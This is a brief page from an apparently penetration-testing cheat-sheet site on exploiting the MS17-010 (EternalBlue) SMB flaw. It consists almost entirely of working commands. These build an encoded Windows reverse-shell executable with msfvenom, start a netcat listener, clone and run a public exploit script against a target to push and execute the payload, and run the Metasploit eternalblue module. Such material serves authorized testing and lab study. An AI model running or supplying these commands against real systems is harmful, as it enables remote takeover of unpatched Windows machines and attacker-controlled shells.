> For the complete documentation index, see [llms.txt](https://htb.linuxsec.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://htb.linuxsec.org/active-directory/service/smb/ms17-010.md).

# MS17-010

SMB Exploit MS17-010

Some tools to exploiting Eternalblue

### Exploiting MS17-010

{% code overflow="wrap" %}

```bash
msfvenom -p windows/shell_reverse_tcp -f exe -o asuka.exe \
-a x86 -e x86/shikata_ga_nai LHOST=192.168.100.1 LPORT=31337

# run nc from attacker
nc -lvp 31337

# exploiting the vulnerability
git clone https://github.com/helviojunior/MS17-010
cd MS17-010
python send_and_execute.py target.lab asuka.exe

# In case the dependency is missing
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
pip2 install impacket==0.9.22
```

{% endcode %}

Or using Metasploit

{% code overflow="wrap" %}

```bash
use exploit/windows/smb/ms17_010_eternalblue
show options
set LHOST 10.4.33.242
set RHOSTS 10.10.82.157
run
```

{% endcode %}
